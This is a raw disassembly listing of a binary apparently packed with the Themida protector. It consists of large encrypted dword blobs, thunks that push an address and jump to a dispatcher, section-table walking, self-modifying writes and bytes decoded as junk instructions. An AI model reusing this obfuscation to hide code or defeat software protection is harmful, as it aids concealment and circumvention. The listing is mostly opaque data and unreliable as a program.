		dd 8D061202h, 14AA119Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 5182A072h
		dd 3810Fh, 0D9800000h, 0C08B5E79h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 3AC35343h, 0B95100C5h, 0F022A90h
		dd 386h, 0D0B70F00h, 8EBC28Bh, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5AFC1C
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5AFBAC:				; CODE XREF: Themida_:005AFBE3j
		mov	eax, [ebp+6120EE9h]
		lea	eax, [ebp+61576AEh]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+61540BEh],	ecx
		cmp	dword ptr [ebp+6121DC5h], 0
		jz	loc_5AFBE8
		pusha
		push	0
		call	dword ptr [ebp+61229D1h]
		popa
		jmp	loc_5AFBAC
; ---------------------------------------------------------------------------


loc_5AFBE8:				; CODE XREF: Themida_:005AFBD3j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+61540BAh],	eax
		mov	esi, [ebp+61540BEh]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+61540BEh]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+61540BAh]
		retn
; ---------------------------------------------------------------------------


loc_5AFC1C:				; CODE XREF: Themida_:005AFB9Cj
		lea	edx, [ebp+61200F5h]
		mov	[ebp+61213F1h],	edx
		mov	[ebp+61218A9h],	edx
		inc	dword ptr [ebp+61218A9h]
		mov	byte ptr [ebp+61215C1h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+6123B48h]
		call	eax
		mov	[ebp+61229D1h],	eax
		lea	eax, [ebp+61538FFh]
		mov	[ebp+61227F5h],	eax
		jmp	loc_5AFCB6
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5AFC80:				; CODE XREF: Themida_:005AFCABj
		cmp	ecx, 0
		jz	loc_5AFC9F
		cmp	edi, [edx+0Ch]
		jg	loc_5AFCA7
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5AFC9F:				; CODE XREF: Themida_:005AFC83j
					; Themida_:005AFCB1j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5AFCA7:				; CODE XREF: Themida_:005AFC8Cj
		add	edx, 28h
		dec	ecx
		jnz	loc_5AFC80
		jmp	loc_5AFC9F
; ---------------------------------------------------------------------------


loc_5AFCB6:				; CODE XREF: Themida_:005AFC60j
		mov	edx, 9FD3Eh
		jmp	short $+2
		jmp	loc_5B02B6
; ---------------------------------------------------------------------------
		jmp	loc_5B02AF
; ---------------------------------------------------------------------------
		push	61542FDh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6154403h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615448Ch
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615455Eh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6154683h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 53h,	3Eh, 0D1h
		dd 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah,	3FAF06F6h
		dd 0DB74C14Eh, 79125FB0h, 12ABF817h, 6C46937Ch,	0A172151Dh
		dd 34114DF4h, 315B145Eh, 43D6A9DEh, 0DF5FA8E3h,	959DB447h
		dd 47DF5FF2h, 93F38691h, 47DF5FF4h, 0DF60196Fh,	603F4C47h
		dd 622C47DFh, 0D47DF5Fh, 0C7DF5F7Eh, 7AC46F78h,	0B92F7C7Fh
		dd 0DA5B1A85h, 22A26E54h, 90FF92C8h, 4B5CF879h,	518BFC04h
		dd 0EDF8C7E0h, 0B4FB00C4h, 9AEDF5h, 0DEE9C7E0h,	0E07EB4Bh
		dd 560FC9F2h, 0CEA1D639h, 8C94F33Bh, 0CDF20DFBh, 53127D88h
		dd 7543BB3Ch, 0A6B40EB3h, 818E0213h, 1AF59B34h,	27E8A25Bh
		dd 2B87CBFEh, 2CBF03F5h, 6B1BA47h, 72753E81h, 18D742CEh
		dd 3D0BE10h, 3FBEC9D0h,	6DB5E671h, 2535FCA1h, 75000004h
		dd 0DA6F31Ch, 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh
		dd 0E32C618Dh, 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h
		dd 4DF4A150h, 72805633h, 0A6BEF31Ch, 47DF5FE8h,	7D687985h
		dd 18B1FE11h, 9B649976h, 8E71CF3h, 2DE2A861h, 58934E9Ah
		dd 978CD936h, 22BCFE3Fh, 3A3ECh, 1C723E00h, 5057A635h
		dd 93FE0AB6h, 0C7E375Eh, 8905CE03h, 137E5186h, 106E2080h
		dd 965A47E0h, 0CDEEA04Bh, 0E010C2C5h, 4BB6C147h, 57B8D38Ch
		dd 2066C7C4h, 0EF7CD67Dh, 3F479638h, 47DFF548h,	32FB303Bh
		dd 71F2B15Eh, 5CC0FA36h, 0C8C55827h, 7BB05F2Fh,	0B0FDE6EEh
		dd 63987717h, 6828F19Ah, 349F72A7h, 0B56FF0E7h,	0ADE6417Fh
		dd 0B0DB3BCEh, 0AC47DFB3h, 0B3FA8D95h, 7E8947DFh, 0A0B1DAEBh
		dd 0A40D5AE9h, 70A51014h, 232DDAE3h, 8610D334h,	727A39A4h
		dd 49F1B254h, 23ECA2A3h, 9D5539B8h, 0F89DEBA7h,	31F31h
		dd 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h
		dd 5B932212h, 0F790DD32h, 952E7B94h, 2EC714FBh,	8862AF60h
		dd 0A3563139h, 48254DF4h, 0F31C7272h, 8099F5BEh, 6297020Dh
		dd 0D01DF299h, 0DF5FE3E8h, 6F830847h, 0C2D947DFh, 0DF6FCDBAh
		dd 6AA5E547h, 2334C7D2h, 36D9B168h, 0D7E96CBh, 0E947DF70h
		dd 1F9833E0h, 579D5D5Eh, 0A4AC2DECh, 12FF526Dh,	0ABB322B5h
		dd 49F240ABh, 2A900F1Ah, 8EBA709h, 2969C63h, 0ABE60000h
		dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah,	1C9989D6h
		dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h,	0DFA8B0FFh
		dd 9C4DF4A3h, 1C72E9BFh, 59828DFDh, 2699BB5Dh, 0EE238EA0h
		dd 71A66925h, 18D30E92h, 574C9976h, 22BCB87Fh, 708863Fh
		dd 7C4F7ADEh, 8B1EE596h, 21389h, 6823DB00h, 0F447DF5Fh
		dd 0A86724DDh, 97F0A073h, 0E447DF5Fh, 5B3546D9h, 0C2CE67B4h
		dd 6FDA3557h, 0A1EA2FB0h, 0FA9A50Ch, 0B770977Ch, 0DF063BD4h
		dd 0DFAFB0D7h, 5DC8D347h, 38D7B9CAh, 41A02403h,	0D825EAA6h
		dd 0BCAEE3E3h, 563822h,	0AE8A0000h, 0EA01C0A5h,	80B55A31h
		dd 578684ADh, 658C4F70h, 0C2F472D2h, 0F80349F1h, 0A78B0979h
		dd 7D44E9EBh, 1C4h, 45927D14h, 0E22FE0ACh, 81CE4149h, 1B68A7E8h
		dd 0B7040B82h, 8D00EEC7h, 0EF9C3582h, 563AD320h, 0BBD36CB9h
		dd 0DE2D0754h, 0F4A4B1D6h, 1FF5D24Dh, 0E5DAE231h, 0D647DF5Fh
		dd 0C3CD96CBh, 4481B28Eh, 0AD18639Ch, 0DAB06960h, 0B89E0C35h
		dd 4E0C6658h, 35E4AABBh, 0AE81B659h, 79810E43h,	0F44002CEh
		dd 0F35E1956h, 8C830DA6h, 27E8A63Fh, 3DEAE768h,	2415900Ch
		dd 0A8E3AC91h, 0BBF01F71h, 56307DE8h, 1B88FF07h, 0F0FB47E0h
		dd 0B1DB94BBh, 1B85020Ah, 0EBF647E0h, 0AEDCED80h, 0A9B71461h
		dd 434C05C4h, 63C497CCh, 6C51E42Bh, 0DB28E7A3h,	0E01B98F3h
		dd 70555E47h, 4329A9B1h, 899449F2h, 947B11CAh, 31DEAE47h
		dd 38D7B972h, 0B89D3003h, 0AF6EA1EFh, 3510C12Eh, 0F184F330h
		dd 0C6CEE50Ch, 4DF1F8C1h, 1324B7C2h, 4C3B4378h,	9E4DF1F8h
		dd 650290F4h, 0ACB74F22h, 47430C41h, 0FD0693C8h, 49515918h
		dd 0D50044Bh, 42D53A54h, 0C7CA31FAh, 0D19A8F2Ch, 0DFA0BEC9h
		dd 47B2BD47h, 0D60B5DDCh, 22C7EDB5h, 9F5Bh, 6DA2EF00h
		dd 0A058720h, 0A96624BDh, 43CCC35Ch, 0DF305DF6h, 0DB13A292h
		dd 77105DB2h, 15AEFB14h, 0AE47947Bh, 8E22FE0h, 0A5D6B1B9h
		dd 0C8A54DF4h, 0F31C72F2h, 61697BEh, 2CD8F03Dh,	563849DCh
		dd 21A584B9h, 526925C0h, 3254333Bh, 1C2747E0h, 0E0331B6Ch
		dd 0F25D6847h, 2DD0B0A5h, 190522BCh, 57000000h,	55049314h
		dd 10EAA4F2h, 0F0711D7Dh, 434B47DFh, 1CE87FCCh,	52000000h
		dd 92F5FD14h, 0F147DF5Fh, 3E38BDE6h, 3A857ABEh,	8C4447A7h
		dd 187647DFh, 77F4AAF7h, 2F825h, 412F0000h, 0BBF01F72h
		dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
		dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E28952D4h, 4B951h
		dd 0CA010000h, 4EA8359h, 5C241487h, 718568h, 24348900h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 55241C89h, 0DD6FE1BDh
		dd 81D5F748h, 47C1ECF5h, 5DEE89EBh, 60EE8146h, 4652CA5Dh
		dd 0EE81D6F7h, 0F04FC94Ch, 63B368h, 24248900h, 4240483h
		dd 481565Bh, 0EA123224h, 8438F7Fh, 1232BA52h, 53297FEAh
		dd 34FF5A08h, 0C4815B24h, 4, 5E2434FFh,	4C481h,	2EE90000h
		dd 0ABFFFD39h
; ---------------------------------------------------------------------------
		push	ebp
		sbb	al, 42h


loc_5B02AF:				; CODE XREF: Themida_:005AFCC2j
		mov	eax, 6154747h
		add	eax, ebp


loc_5B02B6:				; CODE XREF: Themida_:005AFCBDj
		mov	edx, ecx
		jmp	short loc_5B02DA
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B02DA:				; CODE XREF: Themida_:005B02B8j
		jmp	loc_5B0842
; ---------------------------------------------------------------------------
		jmp	loc_5B083B
; ---------------------------------------------------------------------------
		push	61549A7h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6154A53h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6154BFEh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6154C76h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		inc	eax
		push	ecx
		mov	esi, 5BB4D871h
		push	cs


loc_5B0314:				; CODE XREF: Themida_:005B031Fj
		jnz	short loc_5B032B
		cli
		lodsd
		adc	al, 7Bh
		xchg	eax, esp
		inc	edi
		scasb
		fbstp	tbyte ptr [eax]
		jecxz	short loc_5B0314
		retn	612Ch
; ---------------------------------------------------------------------------
		dd 0C3C861AEh
		db 4Ch,	0FFh, 66h
; ---------------------------------------------------------------------------


loc_5B032B:				; CODE XREF: Themida_:loc_5B0314j
		sub	ah, ch
		cwde
		dec	dword ptr [edi+0A593380h]
		add	al, [ebp-9B20B59h]
		sbb	[edx], eax
		dec	ecx
		inc	edi
		enter	0FFFFC093h, 5Fh
		sub	esp, esp
		push	ecx
		and	esi, [edx+18h]
		test	edx, 0DF5FE1AAh
		mov	dword ptr [edx], 0E9A2EBF6h
		movsb
		imul	esi, [esi], 63h
		shl	byte ptr [ebx+63h], 1
		sti
		mov	esp, 40B8A2h
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Ah
		dd 0DF5F6B23h, 553AF347h, 495227BAh, 5869D5Ch, 6100D3F6h
		dd 60C053D5h, 49F3242Fh, 0AF5DDEF5h, 0DDB64744h, 0E4394EFEh
		dd 3F4A4DF4h, 0C5964ACh, 3F75h,	851D9E00h, 913771E2h, 23BCEA7Dh
		dd 47DF5F68h, 0CB4C858Eh, 0F9FEBBF8h, 7C0BBBD4h, 0FF47DFDAh
		dd 0C2CA89F4h, 49F322CDh, 62ADDE97h, 92F95A2Dh,	0A1A2EA7Dh
		dd 6CB924EBh, 40CFBC75h, 77A5380Bh, 92F5FD14h, 0F147DF5Fh
		dd 484253E6h, 127A92C7h, 8C7DF60h, 0B8D21DC4h, 3225C499h
		dd 0CE6D7C89h, 8DFB2853h, 96E34EB9h, 87462B39h,	0DEA40C7Fh
		dd 376C77C7h, 0A2EF206Eh, 96553C45h, 0F090D88Eh, 15D4DFC9h
		dd 0B7E02F5Ch, 9B863270h, 0A186190Dh, 0CD140289h, 39D6B8C1h
		dd 0BF503B04h, 1E0F48Ah, 4998B4DCh, 51564242h, 71975Bh
		dd 0EFA80000h, 66396EA1h, 0FD14A5D3h, 0DF5F92F5h, 53E6F147h
		dd 0D190757Eh, 0F29E7BC9h, 0B4737E49h, 0BD7C93FBh, 9FE99EA6h
		dd 8F9A4DF4h, 2866FFFCh, 0DD7968E7h, 34D9EBA0h,	30C6Dh
		dd 49C6CB00h, 0E62963FCh, 858A0099h, 1FF09F38h,	0BB5439D2h
		dd 0B7377E6Eh, 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h
		dd 0A8FA8D95h, 0AC894DF4h, 2D774D6h, 72DE0000h,	0AAC2F718h
		dd 47DF5FE1h, 46C9C27Bh, 60B853B3h, 0D5B347DFh,	8147DF5Fh
		dd 0BA4DC2C8h, 0DF60315Ah, 5F513A47h, 8A0B47DFh, 165550A1h
		dd 2BE4A8A3h, 57B823F6h, 0E848DB34h, 87DFA8A3h,	9C5B4A53h
		dd 0F2A0F894h, 0ABE0EB09h, 523A151Eh, 4AB588BDh, 0D3BB748Bh
		dd 6276073Ch, 0D5A5949Bh, 0B111A40Fh, 1005D81Dh, 0EB246768h
		dd 0E5EE0180h, 0BF642DB3h, 260F8h, 9D721F00h, 3AD5B750h
		dd 0D93654EDh, 739CF38Ch, 0F008D26h, 0BE3D2C2h,	0A7408D82h
		dd 45DE2BE4h, 0DE77C44Bh, 38125FB0h, 0A9A6E1E9h, 0F8D54DF4h
		dd 0C4931422h, 0B63A3248h, 0B8D6E77Ah, 8C952257h, 8DDEE6A5h
		dd 0B649F303h, 0C5C55EABh, 440A8B4Ah, 0D481B222h, 1B6C7433h
		dd 684DF4DBh, 34CDCA5Dh, 5D84B956h, 0B2F00CDCh,	2A0A33DCh
		dd 22F78AE9h, 656D2C19h, 500836FEh, 0BA3BFA05h,	0B0725F84h
		dd 74710419h, 0E01FFF8Ch, 7EEF747h, 15783148h, 5FF2C5FAh
		dd 0F36768FFh, 0D1909B49h, 908901BAh, 8DB10FFh,	95F90A9Dh
		dd 0FA942D7Ah, 373F5615h, 4DF4E650h, 0C3C72833h, 0B144174Ch
		dd 0E707B4CCh, 60F4DF4h, 3B58601Fh, 2850082Fh, 0E9A55E1Dh
		dd 48506726h, 47E0203Fh, 613595ABh, 9F375E7Dh, 0D040194h
		dd 6499EEF6h, 0DFEA47DFh, 0BC533B4Ch, 0C44B44FDh, 87344C31h
		dd 0F547DF64h, 2ABD523Ch, 0A6654C55h, 0F2ACC59Eh, 24E3EE49h
		dd 0B9EE216Bh, 2BE453E6h, 0C65FAC63h, 851247C8h, 0CED6957Ch
		dd 5007E9C1h, 4B72A7B2h, 8114FB92h, 0DF646A21h,	746D8947h
		dd 0BCFBA51Dh, 1D7222h,	14C40000h, 74BEF93h, 7C0F43A5h
		dd 0E05C6F1Ch, 5C34ED47h, 0D43FD0BDh, 73241h, 239C0000h
		dd 47DF7168h, 0C0A5AE35h, 1AD3EA01h, 92659A75h,	0DF5FA5E2h
		dd 38CBD647h, 0F2A793D8h, 0E6A5B049h, 555D5E2Dh, 4DF4A732h
		dd 7ADB4651h, 0F4C7FC13h, 0E6EF7C61h, 92D06441h, 4CB76EFDh
		dd 8B6D858Dh, 4D585006h, 0B29E93CEh, 0F3BA5FEDh, 0B5h
		dd 0A5F21D74h, 428F800Ch, 0E12EE1A9h, 7BC84748h, 1764ABE2h
		dd 2D608E27h, 8FFC95E2h, 0F69A3380h, 5B33CC19h,	3E8D67B4h
		dd 0F4AA5136h, 7F55324Dh, 19259314h, 1E54333Bh,	1C2747E0h
		dd 4D7C67F3h, 3A6FA0ECh, 0F6FFD467h, 0F697500Fh, 7E11E419h
		dd 0CA64070Fh, 545F49F2h, 0A689921Fh, 23F62BE4h, 6DF1F9B8h
		dd 585006D7h, 6DD83757h, 0B2E2E5EEh, 21E88DEDh,	3Dh, 2D7A95FCh
		dd 0CA17F894h, 69B65931h, 350BFD0h, 9FEC236Ah, 0A5E806AFh
		dd 7841D6Ah, 6E22BB08h,	0D3BB54A1h, 0C615EF3Ch,	0F4ABC9BEh
		dd 7DDBA4Dh, 874h, 5B14DE00h, 0E748DB34h, 0F01F72F9h, 739CF2BBh
		dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
		dd 8B8406CFh, 10FF8D56h, 0EC81D4DBh, 4,	68241C89h, 549Dh
		dd 51243489h, 0C181E189h, 4, 8704E983h,	895C240Ch, 0BA52240Ch
		dd 6154832h, 24048152h,	499D4A65h, 65EE815Eh, 5A499D4Ah
		dd 4EC81h, 24890000h, 24048324h, 0BB535904h, 8,	0BA52CB01h
		dd 0
; ---------------------------------------------------------------------------
		add	edx, ebx
		mov	[edx], esi
		pop	edx
		pop	ebx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dd 725DB46Ch, 0C36345D1h
		db 0AAh, 0A2h, 76h
; ---------------------------------------------------------------------------


loc_5B083B:				; CODE XREF: Themida_:005B02DFj
		mov	eax, 6154CD8h
		add	eax, ebp


loc_5B0842:				; CODE XREF: Themida_:loc_5B02DAj
		mov	ecx, eax
		jmp	loc_5B09AA
; ---------------------------------------------------------------------------
		db 0B0h, 0C3h, 0E7h
		dd 95ECE767h, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 2Ch,	34h, 38h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 25h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B09AA:				; CODE XREF: Themida_:005B0844j
		jmp	loc_5B2A44
; ---------------------------------------------------------------------------
		push	61550F4h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61551E9h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61552EFh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61553D1h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61554B7h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155578h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155642h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61556F2h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155AABh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155B11h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155C56h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6155F97h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156303h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615668Ch
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156830h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156897h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156903h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156960h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156B02h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156C49h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6156E1Bh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 49C6h
		dd 0E62963FCh, 858A0099h, 1FF09F38h, 0BB5439D2h, 0B7377E6Eh
		dd 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h, 0AEFA8D95h
		dd 0AC894DF4h, 61B21495h, 0CA71EA44h, 0B4E92669h, 72204EE1h
		dd 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h, 0B6CE030Eh
		dd 4DF18ED5h, 0A8DF021Eh, 24AECD28h, 3BFDh, 0A5AE4F00h
		dd 69EA01C0h, 0B31418E2h, 0E6E015Eh, 49F183B8h,	677FB4BFh
		dd 4DF18424h, 572EB3CFh, 24AEDA7Fh, 106ACh, 9EA6BD00h
		dd 4DF18FE9h, 1F54BBD1h, 0D7B3B44Ch, 0C3ACD38h,	0BEF31C72h
		dd 96981697h, 0AE78485Eh, 638CE628h, 0ED805D34h, 295EB1DCh
		dd 0ACE12E60h, 21666E85h, 6247DF63h, 0DBB3C457h, 37F0E734h
		dd 0C525B857h, 47DF5F03h, 0A98756D7h, 2EE9866Fh, 0B048A9Bh
		dd 0A66925BEh, 0F6DBE471h, 1092037h, 47DFEF86h,	46C1EAF5h
		dd 0A0EB014h, 27B313A6h, 6F49F211h, 95DB61EEh, 99CDC18h
		dd 2855F8C1h, 57115DA1h, 39429FECh, 0B7D48D4Ch,	0BD502358h
		dd 0BB40464Eh, 67205004h, 0F57EA25h, 30917E0Eh,	0A87BB05Fh
		dd 0E6677E3Dh, 0EA8B076Bh, 2637CAE3h, 0C25BA867h, 0E3C544CBh
		dd 0EFEDB32Eh, 1DD0834Ah, 137E0000h, 7616AFFCh,	0D7B34C99h
		dd 3D52EB38h, 0A1EC85D2h, 8431216Eh, 9FEC236Ah,	3D8A8506h
		dd 0D623ECA4h, 71BE513Dh, 47404897h, 344DF4AFh,	1B728157h
		dd 800EA7F4h, 924B428Fh, 0D4BE59F8h, 575AF38h, 0AED9079Ah
		dd 0EA01C0A5h, 0D0BE5B31h, 0CC370A3Fh, 0D131C497h, 49F17EF5h
		dd 0A8C0F500h, 4DF180E3h, 0B2BAD110h, 4DF180D5h, 8110777Fh
		dd 68734DF1h, 0E632C5D0h, 0DF3C94FBh, 0CCE924AEh, 3B000000h
		dd 92F5FD14h, 0F147DF5Fh, 80785E6h, 5C6D00D3h, 651EDD32h
		dd 0DEB1E629h, 6CFF107Dh, 0ECCFBE87h, 0DF5FA3E4h, 6AD5E047h
		dd 37550E35h, 3065AAE2h, 0EABDF25Dh, 5BD1F757h,	2B6347DFh
		dd 8739CEEh, 0A36C22BBh, 0E9D8E16Eh, 64B8222Ah,	1C2749F1h
		dd 7C6972CFh, 10DEB5BDh, 0BAC55004h, 0CE4B42FBh, 96E34EC1h
		dd 7F90FDh, 0EDB302A4h,	0DB4209AEh, 8900001Ch, 21BA0708h
		dd 0BE57A46Bh, 5DF643CCh, 0F790DD32h, 3C2C7996h, 0F7187579h
		dd 957A11AAh, 2EE1AF48h, 0C94648E1h, 4B53A27Ch,	4DF4B13Ch
		dd 148C623Fh, 21E02F5Bh, 0DF5F6E19h, 6F020D47h,	93E02F5Eh
		dd 0C3CC859Ch, 9444174Ch, 47DF5FF3h, 12FD8F90h,	8B0314A7h
		dd 72813784h, 0F0979F1Ch, 9347DF5Fh, 0C1E81D88h, 0F8948508h
		dd 424BAC17h, 65293ACDh, 1BD4EBAAh, 976A9F70h, 0DF5FA0E7h
		dd 45D8E347h, 9677D848h, 0E1E9A88Dh, 49F1756Dh,	16F99798h
		dd 0F9B450E1h, 4A026A42h, 432374DFh, 8960754Ch,	0FDBCA9B2h
		dd 0AD622DE6h, 3EE4BA1Ah, 0FAC3048Eh, 2F864F70h, 0E51A8511h
		dd 0A3624F58h, 52BDD38Ch, 57B74A1Dh, 680486Ch, 36D9B770h
		dd 2B052E01h, 0F54ACB5Dh, 308FD76Ah, 7BFA5F28h,	0A6111C02h
		dd 0BFC8D0E7h, 0BC027BFAh, 0F6AF1EB1h, 81BB998h, 92D322DBh
		dd 4D41DA27h, 0DD7143C2h, 0FCA15729h, 1BD535h, 10E8300h
		dd 9E711BB4h, 3DD2B851h, 0D73857F0h, 739CF18Ah,	6F7F3626h
		dd 0BA4F11Eh, 0A9428F80h, 42DB28E7h, 9C76C34Ch,	0B242454Dh
		dd 64414DF4h, 9F1C728Eh, 0DF5FF097h, 4EC1CA47h,	0B40ABB6h
		dd 0F49A757Eh, 5FC8BFC7h, 0B0BB47DFh, 41BDA45h,	5FA2E5EDh
		dd 82E147DFh, 0DF600D7Ah, 0F8636E47h, 5BC90565h, 0B1BC49F1h
		dd 0BE5139F2h, 2E45F889h, 0CB0EE9B1h, 0D9D0CD60h, 0DDAF6A20h
		dd 0BF2AFD32h, 3C24B78Ah, 10F5FE07h, 2B054951h,	0F5005004h
		dd 5E40C4A4h, 0ADB6886Fh, 9D0109C8h, 6111A375h,	4C7CAAE0h
		dd 3ACDD0E7h, 25B2E7F2h, 813A771Ch, 0FCEBB8BCh,	0F9CAD291h
		dd 0E30B9522h, 0D4B8612Ah, 0C89BD03Bh, 868EED35h, 0F910901h
		dd 4D0C7782h, 0C815FA94h, 31B05F2Fh, 2A040D59h,	0F32DF499h
		dd 0A100001Ah, 39D21FF0h, 0D66FBC53h, 750E5BB4h, 0FA8F51Ah
		dd 5444917Eh, 0F008D61h, 0AD6229C2h, 46C9C760h,	0E12E60F9h
		dd 636BBA94h, 4DF4B324h, 14A47A57h, 48DB345Bh, 83B85737h
		dd 4908EDF6h, 0F1858541h, 98E5F049h, 48512C28h,	0AEE32C63h
		dd 33A2B2DBh, 411A7354h, 7F0017D6h, 0FFDFA117h,	0EEF6B56Ch
		dd 4DF17299h, 0EC4CDFEAh, 50038862h, 5A499AA5h,	0CD4529D9h
		dd 6827E28Dh, 0DFE92760h, 0B6495447h, 66A1A756h, 0FFE6EFA3h
		dd 0A8663840h, 3641E699h, 866B7401h, 0B704BFC7h, 6E6FE4ABh
		dd 0E5B8ED22h, 8802BB7Ah, 0EC7F5287h, 87CAC47Dh, 7E108FE6h
		dd 7ECB3689h, 1F687087h, 5CE48790h, 0A7DC335Bh,	0C5D669D4h
		dd 80FF88C9h, 90E166F7h, 527B1439h, 6CCD31E7h, 0E3B6EB24h
		dd 7C9FF978h, 2ED3711Dh, 1A0D67h, 39D6BB00h, 0D63953ECh
		dd 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh, 43DC29E6h
		dd 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 0B40A7D85h, 9C794DF4h
		dd 0F31C72C6h, 7B2831BEh, 0A0951561h, 1C5B5646h, 42A03059h
		dd 0E2EAA914h, 49F27074h, 9B0B5863h, 0F6DBE4C5h, 5E4B637h
		dd 0A4621012h, 0B49AA211h, 0D350037Dh, 958809C8h, 0CF52617Fh
		dd 0BBF01F6Ch, 0B6BE7DE8h, 47DFD5D1h, 1314A7B2h, 80803233h
		dd 0C6ABB442h, 399FFF07h, 7B864734h, 6DB0B946h,	30352265h
		dd 0EB566143h, 9C33AB2Ch, 0A9EE0BC3h, 249FA716h, 4F454225h
		dd 0C2CC8544h, 5009004Dh, 2B3CCF40h, 492DAC63h,	0A910F70Bh
		dd 194C3D04h, 97FA0000h, 0FA922B78h, 5B2FC815h,	0C1CE67B4h
		dd 2568014Eh, 8AD9DEAh,	1B68A7E6h, 0B9060982h, 529F7020h
		dd 0ED3AD5B9h, 0CBBCC413h, 0B84DF4B4h, 1C7205DBh, 2831BEF3h
		dd 0CCC17A39h, 267D0E43h, 78A7D02Ch, 0A00FA20Dh, 0F1A10298h
		dd 0B3DCDD49h, 7C93FB5Ch, 0BC097447h, 50EF74Ch,	0F5596120h
		dd 105003ABh, 0D8C54605h, 0F3191EE9h, 1807089Bh, 0C8242D5Fh
		dd 67C62EDDh, 90F083EEh, 0B40665BEh, 8F4E333Ch,	0BA711787h
